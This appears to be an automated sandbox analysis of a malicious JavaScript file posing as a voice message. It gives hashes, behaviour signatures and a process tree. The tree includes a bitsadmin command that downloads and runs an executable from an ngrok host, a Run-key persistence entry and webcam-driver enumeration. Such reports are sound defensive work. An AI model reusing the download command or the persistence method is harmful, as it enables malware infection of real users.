Analysis
- max time kernel
149s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
05/10/2026, 15:53
Static task
static1
Behavioral task
behavioral1
Sample
msg0001.wavPortalFile)34678458745a742e.js
Resource
win10v2004-20260911-en
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
msg0001.wavPortalFile)34678458745a742e.js
Resource
win11ltsc2024-20260911-en
11 signatures
150 seconds
General
- Target msg0001.wavPortalFile)34678458745a742e.js
- Size 50.0MB
- Sample261005-tbsmsshg34
- SHA256 2ede40f7d7f02014533a250bd68ee2da8f48cd222d14d4a66c50206646ede127
- MD5 6e2ac3ab704ad6ae9557360b2ba59b72
- SHA1 69dfa5c233958ec6c590fc261e24d86ffef32fc8
- SHA512 b42f6a892b6a5d5e634f56fe0008b64fc20e252640d253f83a1070fbffcaeb3f8de49a72aa3ada278d8bec20c8765069160034840dd46d15f90690816e6fbaeb
- SSDEEP 49152:QF+1Z8nS6+ScO88pUQGNL70GNecQYVMIVoQ2UDPOT83SAdQ9t7HBFUQbneE1o+JR:A
- TLSH T1F9B733068F6F9E2F8ABC215C24BF0F4E26E48E544105B9E767E67CDB9A4FF11204616C
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 4668 bitsadmin.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 30 220 Process not Found - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation wscript.exe - Executes dropped EXE 1 IoCs
pid Process 2388 WindowsComponentUpdater.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsComponentUpdater = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsComponentUpdater.exe" MicrosoftUpdateServices.exe - Enumerates video capture drivers 2 TTPs 1 IoCs
Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9 MicrosoftUpdateServices.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2064 MicrosoftUpdateServices.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2064 MicrosoftUpdateServices.exe Token: SeDebugPrivilege 2388 WindowsComponentUpdater.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2064 MicrosoftUpdateServices.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2076 wrote to memory of 4668 2076 wscript.exe 91 PID 2076 wrote to memory of 2064 2076 wscript.exe 107
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\msg0001.wavPortalFile)34678458745a742e.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\System32\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://130826.ngrok.app/MicrosoftUpdateServices.exe C:\Users\Admin\MicrosoftUpdateServices.exe2⤵
- Download via BitsAdmin
PID:4668
-
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C:\Users\Admin\MicrosoftUpdateServices.exe"C:\Users\Admin\MicrosoftUpdateServices.exe"2⤵
- Adds Run key to start application
- Enumerates video capture drivers
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2064
-
-
C:\Users\Admin\AppData\Roaming\WindowsComponentUpdater.exeC:\Users\Admin\AppData\Roaming\WindowsComponentUpdater.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2388
Network
MITRE ATT&CK Enterprise v16
Persistence
BITS Jobs
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1